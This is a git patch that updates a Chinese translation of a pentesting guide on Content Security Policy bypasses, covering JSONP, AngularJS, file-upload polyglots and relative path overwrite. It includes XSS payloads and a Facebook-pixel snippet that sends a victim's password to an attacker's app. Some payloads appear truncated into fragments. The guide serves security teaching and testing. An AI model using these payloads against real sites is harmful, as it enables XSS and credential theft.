From fb623ada84801076f794b957cffd6bd8b723c52a Mon Sep 17 00:00:00 2001 From: Translator Date: Sun, 26 Jan 2025 15:20:57 +0000 Subject: [PATCH] Translated ['src/pentesting-web/content-security-policy-csp-bypass/READM --- .../README.md | 87 +++++++++++-------- 1 file changed, 50 insertions(+), 37 deletions(-) diff --git a/src/pentesting-web/content-security-policy-csp-bypass/README.md b/src/pentesting-web/content-security-policy-csp-bypass/README.md index 7555f50f1..33e0dda43 100644 --- a/src/pentesting-web/content-security-policy-csp-bypass/README.md +++ b/src/pentesting-web/content-security-policy-csp-bypass/README.md @@ -40,7 +40,7 @@ object-src 'none'; ### 指令 - **script-src**: 允许特定来源的JavaScript,包括URL、内联脚本和由事件处理程序或XSLT样式表触发的脚本。 -- **default-src**: 在缺少特定获取指令时设置获取资源的默认策略。 +- **default-src**: 设置在缺少特定获取指令时获取资源的默认策略。 - **child-src**: 指定允许的Web工作者和嵌入框架内容的资源。 - **connect-src**: 限制可以使用fetch、WebSocket、XMLHttpRequest等接口加载的URL。 - **frame-src**: 限制框架的URL。 @@ -107,7 +107,7 @@ Content-Security-Policy: script-src https://google.com 'unsafe-inline'; ``` 有效的有效载荷: `"/>` -#### self + 'unsafe-inline' 通过 Iframes +#### 通过 Iframes 的 self + 'unsafe-inline' {{#ref}} csp-bypass-self-+-unsafe-inline-with-iframes.md @@ -159,11 +159,11 @@ Content-Security-Policy: script-src 'self'; object-src 'none' ; ```markup "/>'> ``` -然而,服务器**正在验证上传的文件**,只会允许您**上传特定类型的文件**。 +然而,服务器**正在验证上传的文件**,只允许您**上传特定类型的文件**,这很可能。 -此外,即使您能够使用服务器接受的扩展名(如:_script.png_)在文件中上传**JS代码**,这也不够,因为一些服务器如apache服务器**根据扩展名选择文件的MIME类型**,而像Chrome这样的浏览器会**拒绝执行应该是图像的内容中的Javascript**代码。“希望”有错误。例如,在一个CTF中我了解到**Apache不知道**_**.wave**_扩展名,因此它不会以**MIME类型如audio/***提供该文件。 +此外,即使您能够使用服务器接受的扩展名(如:_script.png_)在文件中上传**JS代码**,这也不够,因为一些服务器如apache服务器**根据扩展名选择文件的MIME类型**,而像Chrome这样的浏览器会**拒绝执行应该是图像的内容中的Javascript**代码。“希望”有错误。例如,从一个CTF中我了解到**Apache不知道**_**.wave**_扩展名,因此它不会以**MIME类型如audio/**提供它。 -从这里开始,如果您发现了XSS和文件上传,并且您设法找到一个**被误解的扩展名**,您可以尝试上传一个具有该扩展名和脚本内容的文件。或者,如果服务器正在检查上传文件的正确格式,可以创建一个多重格式文件([这里有一些多重格式示例](https://github.com/Polydet/polyglot-database))。 +从这里开始,如果您发现XSS和文件上传,并且您设法找到一个**被误解的扩展名**,您可以尝试上传一个具有该扩展名和脚本内容的文件。或者,如果服务器正在检查上传文件的正确格式,可以创建一个多重格式文件([这里有一些多重格式示例](https://github.com/Polydet/polyglot-database))。 ### Form-action @@ -224,7 +224,7 @@ With some bypasses from: https://blog.huli.tw/2022/08/29/en/intigriti-0822-xss-a {{[].erase.call().alert('xss')}} ``` -Angular XSS来自类名: +Angular XSS 从类名: ```html
aaa @@ -274,7 +274,7 @@ https://www.google.com/amp/s/example.com/ ```http Content-Security-Policy: script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none'; ``` -像这样的场景,其中 `script-src` 设置为 `self` 和一个特定的白名单域,可以通过 JSONP 绕过。JSONP 端点允许不安全的回调方法,这使攻击者能够执行 XSS,工作有效载荷: +像这样的场景,其中 `script-src` 设置为 `self` 和一个特定的白名单域,可以通过 JSONP 绕过。JSONP 端点允许不安全的回调方法,这使得攻击者能够执行 XSS,工作有效载荷: ```markup "> "> @@ -322,28 +322,28 @@ Content-Security-Policy​: connect-src www.facebook.com;​ 5. 转到您的应用“事件管理器”,选择您创建的应用(请注意,事件管理器可以在类似于此的 URL 中找到:https://www.facebook.com/events\_manager2/list/pixel/\[app-id]/test\_events)。 6. 选择“测试事件”选项卡,以查看“您的”网站发送的事件。 -然后,在受害者一侧,您执行以下代码以初始化 Facebook 跟踪像素,指向攻击者的 Facebook 开发者帐户应用 ID,并发出如下的自定义事件: +然后,在受害者一侧,您执行以下代码以初始化 Facebook 跟踪像素,指向攻击者的 Facebook 开发者帐户应用 ID,并发出如下自定义事件: ```JavaScript fbq('init', '1279785999289471');​ // this number should be the App ID of the attacker's Meta/Facebook account fbq('trackCustom', 'My-Custom-Event',{​ data: "Leaked user password: '"+document.getElementById('user-password').innerText+"'"​ }); ``` -至于前表中指定的其他七个第三方域,还有许多其他方法可以滥用它们。有关其他第三方滥用的更多解释,请参阅之前的 [blog post](https://sensepost.com/blog/2023/dress-codethe-talk/#bypasses)。 +对于前表中指定的其他七个第三方域,还有许多其他方法可以滥用它们。有关其他第三方滥用的更多解释,请参阅之前的 [blog post](https://sensepost.com/blog/2023/dress-codethe-talk/#bypasses)。 ### 通过 RPO(相对路径覆盖)绕过 -除了上述重定向以绕过路径限制外,还有一种称为相对路径覆盖(RPO)的技术可以在某些服务器上使用。 +除了上述重定向以绕过路径限制外,还有一种称为相对路径覆盖(RPO)的技术,可以在某些服务器上使用。 例如,如果 CSP 允许路径 `https://example.com/scripts/react/`,则可以通过以下方式绕过: ```html ``` -浏览器最终会加载 `https://example.com/scripts/angular/angular.js`。 +浏览器最终将加载 `https://example.com/scripts/angular/angular.js`。 -这有效是因为对于浏览器来说,你正在加载一个名为 `..%2fangular%2fangular.js` 的文件,该文件位于 `https://example.com/scripts/react/` 下,这符合 CSP。 +这有效是因为对于浏览器来说,您正在加载一个名为 `..%2fangular%2fangular.js` 的文件,该文件位于 `https://example.com/scripts/react/` 下,这符合 CSP。 -∑,它们会解码,从而有效地请求 `https://example.com/scripts/react/../angular/angular.js`,这等同于 `https://example.com/scripts/angular/angular.js`。 +∑,它们将解码它,有效地请求 `https://example.com/scripts/react/../angular/angular.js`,这等同于 `https://example.com/scripts/angular/angular.js`。 通过 **利用浏览器和服务器之间 URL 解释的不一致性,可以绕过路径规则**。 @@ -357,20 +357,20 @@ data: "Leaked user password: '"+document.getElementById('user-password').innerTe ../xss-cross-site-scripting/iframes-in-xss-and-csp.md {{#endref}} -### 缺失 **base-uri** +### 缺少 **base-uri** -如果缺少 **base-uri** 指令,你可以利用它执行 [**悬挂标记注入**](../dangling-markup-html-scriptless-injection/index.html)。 +如果缺少 **base-uri** 指令,您可以利用它执行 [**悬挂标记注入**](../dangling-markup-html-scriptless-injection/index.html)。 -此外,如果 **页面使用相对路径加载脚本**(如 `